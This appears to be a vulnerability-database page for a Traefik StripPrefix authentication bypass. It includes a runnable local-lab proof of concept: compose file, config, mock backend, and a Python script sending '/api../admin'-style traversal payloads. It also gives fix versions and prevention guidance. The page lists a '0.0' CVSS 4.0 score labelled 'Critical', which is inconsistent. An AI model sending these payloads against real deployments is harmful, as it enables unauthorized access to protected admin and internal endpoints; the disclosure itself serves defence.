Skip to content

GHSA-xf64-8mw2-4gr2 CVE-2026-48020 GO-2026-5752

Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

Critical Go
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.78%
Chance of exploitation in the next 30 days. Higher than 55.79% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-288 Authentication Bypass Using an Alternate Path or Channel
Fix
Available
2 packages have a fixed version

Description

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

Image Observed Version Result
traefik:v2.11 v2.11.46 Affected
traefik:v3.6 v3.6.17 Affected
traefik:latest v3.7.1 Affected
Lab Contrast
Image Result
traefik:v2.10 Not reproduced in lab
traefik:v3.5 Not reproduced in lab

Vulnerable Configuration Pattern

The issue appears when:

  • a broad public route strips a prefix
  • while a separate protected route is intended to guard internal/admin paths
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

Request Expected Observed
GET /admin Blocked 401
GET /internal/config Blocked 401
Expected Public Exclusions

These do not expose protected backend paths.

Request Expected Observed
GET /api/admin Not routed to protected backend path 404
GET /api/internal/config Not routed to protected backend path 404
Bypass Payloads

These reach protected backend paths.

Request Observed Status Backend Receives
GET /api../admin 200 /admin
GET /api%2e%2e/admin 200 /admin
GET /api../internal/config 200 /internal/config
GET /api%2e%2e/internal/config 200 /internal/config

Minimal PoC

docker-compose.yml
services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"
dynamic.yml
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000
backend.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
poc.py
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")
Run
docker compose up -d
python3 poc.py

Expected Vulnerable Output

/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

  • Access to protected admin paths
  • Access to internal configuration endpoints
  • Exposure of secrets returned by internal backends
  • Access to protected backend management functionality
  • Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

  • CWE-863: Incorrect Authorization

Related weakness candidates:

  • CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

PathRegexp(`^/api(/|$)`)

or:

PathPrefix(`/api/`) with StripPrefix(`/api/`)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

</details>

Affected versions

Go

PackageVulnerableFixed in
github.com/traefik/traefik
all versions
No fix yet
github.com/traefik/traefik/v2
< 2.11.48
2.11.48
github.com/traefik/traefik/v3
< 3.6.19
3.6.19
github.com/traefik/traefik/v3
>= 3.7.0-ea.1, < 3.7.3
3.7.3
github.com/traefik/traefik/v3
< 3.6.19
>= 3.7.0-ea.1, < 3.7.3
3.6.19
3.7.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/traefik/traefik/v2 Go → 2.11.48

go
go get github.com/traefik/traefik/v2@v2.11.48 && go mod tidy

github.com/traefik/traefik/v3 Go → 3.6.19

go
go get github.com/traefik/traefik/v3@v3.6.19 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
None

CVSS 3.1 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-288: Authentication Bypass Using an Alternate Path or Channel

The product requires authentication, but the product has an alternate path or channel that does not require authentication.

How to prevent it
  • Architecture and Design: Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6558
Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle
Medium Also affects github.com/traefik/traefik
GHSA-f52w-8j3h-j724
Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging
High Also affects github.com/traefik/traefik
GHSA-w4v4-9rw7-5326
Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
Critical Also affects github.com/traefik/traefik
GHSA-qqjf-53cj-pwvv
Traefik HTTP/3 Backend NTLM Connection Reuse
Critical Also affects github.com/traefik/traefik
GO-2026-6467
Traefik entrypoint header-name sanitization bypassed via request trailers
High Also affects github.com/traefik/traefik
GHSA-rf44-j88r-hh8c
Traefik: ForwardAuth identity spoofing via dot-form header alias
High Also affects github.com/traefik/traefik
GHSA-7ghq-v6jf-g56c
Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded
Medium Also affects github.com/traefik/traefik
GHSA-62fc-8686-hfmq
Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef
Medium Also affects github.com/traefik/traefik
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor